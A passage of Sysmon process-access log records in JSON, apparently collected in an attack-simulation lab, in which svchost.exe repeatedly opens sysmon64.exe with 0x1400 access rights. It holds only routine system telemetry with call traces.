{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.627\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.627","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.628\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.628","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.628\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.628","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 